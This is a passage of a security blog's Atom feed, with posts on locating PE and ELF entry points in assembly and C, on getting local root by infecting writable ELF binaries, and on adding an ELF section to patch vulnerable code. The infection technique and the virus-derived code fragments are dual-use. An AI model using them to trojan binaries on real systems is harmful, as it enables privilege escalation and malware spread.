&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; edx -&gt; VA of File Header &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov esi, [edx+28h] &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; esi -&gt; RVA of entry point&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;lea edi, [edx+74h] &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; edi -&gt; ptr to the beginning of section table&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov ecx, [edx+2]  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; ecx -&gt; number of sections&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;seekEntrySection:&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov ebx, [edi+0Ch] &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; ebx -&gt; RVA of section&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov edx, ebx&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;add edx, [edi+8] &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; edx -&gt; rva of the end of the section&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmp esi, ebx &amp;nbsp;&amp;nbsp;&amp;nbsp;; entryRVA &lt; sectionRVA =&gt; wrong&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;jl wrongEntry&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmp esi, edx &amp;nbsp;; entryRVA &gt; sectionRVA +  sectionSize =&gt; nextSection&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;jg nextSection ; entry is out of bounds of this section, check next section.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub esi, ebx &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; entry calculus&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;add esi, [edi+10h]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;jmp gotEntry&lt;br /&gt; &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;nextSection:&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;add edi, [edi+8] &amp;nbsp;&amp;nbsp;; nextSection=currentSection+currentSection Size&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;loop seekEntrySection&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;wrongEntry:&lt;/span&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;gotEntry:&lt;/span&gt;&lt;br /&gt;...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-6057625156356617753?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/6057625156356617753/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=6057625156356617753' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/6057625156356617753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/6057625156356617753'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2007/08/pe-entry-calculation.html' title='PE entry calculation'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-116040233312669062</id><published>2006-10-09T15:54:00.000+02:00</published><updated>2007-09-25T00:16:36.468+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='priviledge scalation'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='virii'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='escalada de privilegios'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Get local root by infection</title><content type='html'>I presented at the Barcelona FIST conference a new way to local-hack linux box by infecting ELF executables.&lt;br /&gt;&lt;br /&gt;It's possible do an elf-infection to a writable binary, and wait that r00t or a priviledged user executes it, is a simple idea but a complex implementation.&lt;br /&gt;&lt;br /&gt;Here is my presentation:&lt;br /&gt;&lt;a href="http://www.fistconference.org/data/presentaciones/infR3.pdf"&gt;http://www.fistconference.org/data/presentaciones/infR3.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And here is my implementation:&lt;br /&gt;&lt;a href="http://www.milw0rm.com/author/300"&gt;http://www.milw0rm.com/author/300&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.badchecksum.com/code/pentest/infR3.s"&gt;http://www.badchecksum.com/code/pentest/infR3.s&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here is a demo:&lt;span class="down" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;span class="down" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;a href="http://www.youterm.com/?view=Player&amp;video=hack/infector"&gt;http://www.youterm.com/?view=Player&amp;amp;video=hack/infector&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;echo hack/infector/exit | nc youterm.com 9999&lt;span class="down" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-116040233312669062?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/116040233312669062/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=116040233312669062' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/116040233312669062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/116040233312669062'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2006/10/get-local-root-by-infection.html' title='Get local root by infection'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-115999900040900840</id><published>2006-10-04T23:42:00.000+02:00</published><updated>2007-09-25T00:16:47.073+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='virii'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing'/><title type='text'>Elf entry calculation in c</title><content type='html'>e_entry points to the virtual address where will be _start at runtime.&lt;br /&gt;In order to calculate the relative virtual address of the entry point from the beginning of the file image, we should look for the code segment and use this formula:&lt;br /&gt;&lt;br /&gt;(elf).e_entry - (code).p_vaddr + (code).p_offset&lt;br /&gt;&lt;br /&gt;p_offset is the distance from the begining of the file to the code segment.&lt;br /&gt;p_addr is the virtual address of the code segment.&lt;br /&gt;&lt;br /&gt;The diference e_entry  - p_vaddr can be drawed like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(at runtime)&lt;br /&gt;+--- code segment ---- &lt;- p_vaddr &lt;br&gt;| &lt;br&gt;| &lt;br&gt;| &lt;br&gt;|&lt;---- e_entry &lt;br&gt;| &lt;br&gt;We already know the distance inside the code segment where is the entry point (usually at the begining of .text section) If now we sum the offset where code segment starts from the beginning, we will have the offset from the beginning of the file where is exactly the entry point.    &lt;br&gt;&lt;br /&gt;void getentry (struct map *elf) {             &lt;br /&gt;   &amp;nbsp;int ph;             &lt;br /&gt;   &amp;nbsp;int s;          //text section Index text             &lt;br /&gt;   &amp;nbsp;elf-&gt;text.s = elf-&gt;s;&lt;br /&gt;   &lt;br /&gt;  &amp;nbsp;for (s=0; s&lt;elf-&gt;e-&gt;e_shnum; s++) {&lt;br /&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;if (strcmp(".text",(char *)((unsigned long)elf-&gt;e + (unsigned &amp;nbsp;&amp;nbsp;&amp;nbsp;long)elf-&gt;strtab-&gt;sh_offset + (unsigned long)elf-&gt;text.s-&gt;sh_name)) &amp;nbsp;&amp;nbsp;&amp;nbsp;== 0)&lt;br /&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;break;&lt;br /&gt;&lt;br /&gt;  &amp;nbsp;&amp;nbsp;elf-&gt;text.s++;&lt;br /&gt;  &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;   &amp;nbsp;if (elf-&gt;e-&gt;e_shnum == s) {&lt;br /&gt;      &amp;nbsp;&amp;nbsp;printf(".text section can not be found,  bad elf\n");&lt;br /&gt;      &amp;nbsp;&amp;nbsp;final();&lt;br /&gt;   &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;   //elf-&gt;p Is the first record, elf-&gt;text.p This ptr will be travelling throw the memory since         arrive to the text segment&lt;br /&gt;   elf-&gt;text.p = elf-&gt;p;&lt;br /&gt;&lt;br /&gt;   &amp;nbsp;for (ph=elf-&gt;e-&gt;e_phnum; ph&gt;0; ph--) {&lt;br /&gt;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;if (elf-&gt;text.p-&gt;p_type == PT_LOAD &amp;&amp;amp; elf-&gt;text.p-&gt;p_flags == 5) {&lt;br /&gt;         &amp;nbsp;&amp;nbsp;&amp;nbsp;elf-&gt;text.size = elf-&gt;text.p-&gt;p_memsz;&lt;br /&gt;         &amp;nbsp;&amp;nbsp;&amp;nbsp;elf-&gt;text.entry.rel = (unsigned long)((unsigned long)elf-&gt;e-&gt;e_entry -&lt;br /&gt;                                                     (unsigned long)elf-&gt;text.p-&gt;p_vaddr  +&lt;br /&gt;                                                     (unsigned long)elf-&gt;text.p-&gt;p_offset);&lt;br /&gt;         &amp;nbsp;&amp;nbsp;&amp;nbsp;elf-&gt;text.entry.abs = elf-&gt;text.entry.rel + (unsigned long)elf-&gt;e;&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;                     /*&lt;br /&gt;We have 4 entry points&lt;br /&gt;* elf-&gt;e-&gt;e_entry       (VA of the entry at runtime)&lt;br /&gt;                             * elf-&gt;text.entry.rel   (RVA of the entry from the beginning of .text)&lt;br /&gt;                             * elf-&gt;text.entry.abs   (VA of the entry from the beginning of the file)&lt;br /&gt;                     */&lt;br /&gt;&lt;br /&gt;         &amp;nbsp;&amp;nbsp;&amp;nbsp;return;&lt;br /&gt;      &amp;nbsp;&amp;nbsp;}&lt;br /&gt;      &amp;nbsp;&amp;nbsp;elf-&gt;text.p++;&lt;br /&gt;   &amp;nbsp;}&lt;br /&gt;&lt;br /&gt;   &amp;nbsp;printf("There is no entry point\n");&lt;br /&gt;   &amp;nbsp;final();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// EOF&lt;/elf-&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-115999900040900840?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/115999900040900840/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=115999900040900840' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/115999900040900840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/115999900040900840'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2006/10/elf-entry-calculation-in-c.html' title='Elf entry calculation in c'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-115999800446585492</id><published>2006-10-04T23:31:00.000+02:00</published><updated>2007-08-21T08:39:16.266+02:00</updated><title type='text'>Elf entry calculation in asm</title><content type='html'>There are two ways to access to the elf fields, directly knowing the offset of the field needed or filling a small structure and then access to the structure field.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;main:&lt;br /&gt;...&lt;br /&gt;end:&lt;br /&gt;e_ident:&lt;br /&gt; .long 0&lt;br /&gt; .long 0&lt;br /&gt; .long 0&lt;br /&gt; .long 0&lt;br /&gt;e_type:&lt;br /&gt; .int 0&lt;br /&gt;e_machine:&lt;br /&gt; .int 0&lt;br /&gt;e_version:&lt;br /&gt; .long 0&lt;br /&gt;e_entry:&lt;br /&gt;&lt;br /&gt;(structure in at&amp;t format)&lt;br /&gt;&lt;br /&gt;ELF struct&lt;br /&gt;&amp;nbsp;&amp;nbsp;e_ident   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dd 4 dup(?)&lt;br /&gt;&amp;nbsp;&amp;nbsp;e_type    &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dw ?&lt;br /&gt;&amp;nbsp;&amp;nbsp;e_machine dw ?&lt;br /&gt;&amp;nbsp;&amp;nbsp;e_version &amp;nbsp;dw ?&lt;br /&gt;&amp;nbsp;&amp;nbsp;e_entry   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dd ?&lt;br /&gt;ELF ends&lt;br /&gt;&lt;br /&gt;(structure in intel format)&lt;br /&gt;&lt;br /&gt;Using a structure is the easy way it only needs a open() and read() syscalls.&lt;br /&gt;But wen some file-image accesses are nedded, is not the best way to make some reads. Is better to map the file and work with pointers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;store_init:&lt;br /&gt;     movl $end_vir, %ecx&lt;br /&gt;     subl $start_vir, %ecx&lt;br /&gt;     movl %ecx,-16(%ebp)     # -16 -&gt; size of virus + 5&lt;br /&gt;&lt;br /&gt;     leal -500(%ebp), %edi   # edi  -&gt; -500&lt;br /&gt;     movl 0x18(%eax), %esi   # esi  -&gt; RVA e_entry&lt;br /&gt;     movl 0x2c(%eax), %ecx   # Numero de PH's (e_phnum) (back-count)&lt;br /&gt;&lt;br /&gt;first_ph:&lt;br /&gt;     movl 0x1c(%eax), %edx   # edx  -&gt; RVA e_phoff&lt;br /&gt;     addl %eax, %edx         # edx  -&gt; VA  e_phoff&lt;br /&gt;&lt;br /&gt;seek_ph:&lt;br /&gt;     cmpl %esi, 0x08(%edx)   # if e_entry &gt; p_vaddr =&gt; next ProgramHeader&lt;br /&gt;     jna destiny&lt;br /&gt;&lt;br /&gt;next_ph:&lt;br /&gt;     addl 0x2a(%edx), %edx&lt;br /&gt;     loop    seek_ph&lt;br /&gt;&lt;br /&gt;destiny: ######### THE MAIN KEY ##########&lt;br /&gt;     subl 0x08(%edx), %esi   # esi  -&gt; RVA e_entry-p_vaddr&lt;br /&gt;     addl 0x04(%edx), %esi  # esi  -&gt; RVA e_entry-p_vaddr+p_offset&lt;br /&gt;     addl %eax, %esi         # esi  -&gt; VA  e_entry-p_vaddr+p_offset&lt;br /&gt;     movl %esi, %edx&lt;br /&gt;&lt;br /&gt;#EOF&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-115999800446585492?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/115999800446585492/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=115999800446585492' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/115999800446585492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/115999800446585492'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2006/10/elf-entry-calculation-in-asm.html' title='Elf entry calculation in asm'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-115998961060551367</id><published>2006-10-04T21:09:00.000+02:00</published><updated>2007-08-23T02:00:02.214+02:00</updated><title type='text'>Elf infection adding new section</title><content type='html'>The No cON Name 2006 security congress celebrated at Palma de Mallorca, i have presented a possible solution to code vulnerabilities like buffer overflows.&lt;br /&gt;&lt;br /&gt;Here is the link: &lt;a href="http://www.noconname.org/congreso2006.php"&gt;http://www.noconname.org/congreso2006.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I prensented some current solutions like pax, W^X, address layout randomizations, etc and show their main limitation: doesnt solve the real problem, when overflow happens,      there are many traps to prevent the execution of code but the overflow happened yet and with time, attackers will redirect execution and will inject a payload somewhere.&lt;br /&gt;&lt;br /&gt;I have shown the real problem: at post-compilation there are no variable-sizes, only exists pointers to the beginning of variables but not the end either the size. &lt;br /&gt;&lt;br /&gt;Is it possible to calculate the limits of almost all variables, by reading dinamyc memory calls, and analyzing the use of the stack pointers.&lt;br /&gt;&lt;br /&gt;I proposed the idea of a binary regenerator, that study the pointer bounds, and correct the instructions that want to violate this boundaries. In order to repair the code i show some virus infection, cold-patching and hot patchin techiniques.&lt;br /&gt;&lt;br /&gt;Instead of replacing code by inline-patching, i suggested to make a call a .regen section and there is the code sanitizeed, in order to recover the bad-code if needed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Why current protections are dificulting the explotation instead of solve the problem? &lt;br /&gt;May the compilers store the variable sizes at de elf and PE executables?&lt;br /&gt;&lt;br /&gt;I think this will solve most of security problems.&lt;br /&gt;&lt;br /&gt;[spanish]&lt;br /&gt;En el  congreso 2006 de seguridad informática celebrado en palma de mallorca (noconname.org) he presentado una solución a los problemas de desbordamientos de pila, basandose en localizar límites y parchear el código vulnerable.&lt;br /&gt;&lt;br /&gt;El parcheo o infección de código lo realizan los virus informáticos, podemos aplicar muchas partes de ellos en la seguridad.&lt;br /&gt;&lt;br /&gt;De los diversos tipos de infección que hay (overlay,  crecimiento de .text, seccion nueva, etc ..) hablaré de una en concreta que para este caso es más eficaz.&lt;br /&gt;&lt;br /&gt;El objetivo es poder corregir el código binario y dejar el código corregido en otra seccion (.patch)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Infección mediante creación de sección:&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;(en este procedimiento no se va a agrandar shstrtab para incluir ahi el nombre de sección ya que la sección que contiene nombre de secciones no es mapeada en tiempo de ejecución)&lt;br /&gt;&lt;br /&gt;1. Remapear con el tamaño del fichero+parche+1 registro de sección&lt;br /&gt;2. Desplazamiento lógico del offset y virtual de las secciones inferiores a la tabla de secciones&lt;br /&gt;3. Desplazamiento físico de las secciones inferiores a la tabla de secciones&lt;br /&gt;4. Añadir nueva sección semejante a .text con flags progbits, alocatable y ejecutable.  Y aumentar e_shnum&lt;br /&gt;5. Agrandamiento lógico de segmento de texto en el tamaño del parche&lt;br /&gt;6. Desplazamiento lógico de los segmentos inferiores al de texto (offset y virtual)&lt;br /&gt;7. Desplazamiento lógico de las secciones inferiores al antiguo final del segmento de texto (offset y virtual)&lt;br /&gt;8. Desplazar físicamente lo que haga por debajo del inicio de .patch (final del antiguo segmento texto) para que quede espacio para .patch&lt;br /&gt;9. Actualizar e_shoff ya que se ha desplazado físicamente la tabla de secciones (está abajo)&lt;br /&gt;10. Guardar la nueva versión corregida de las funciones vulnerables en .patch y reapuntar sus calls a esta sección.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EOF&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-115998961060551367?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/115998961060551367/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=115998961060551367' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/115998961060551367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/115998961060551367'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2006/10/elf-infection-adding-new-section.html' title='Elf infection adding new section'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>1</thr:total></entry></feed>
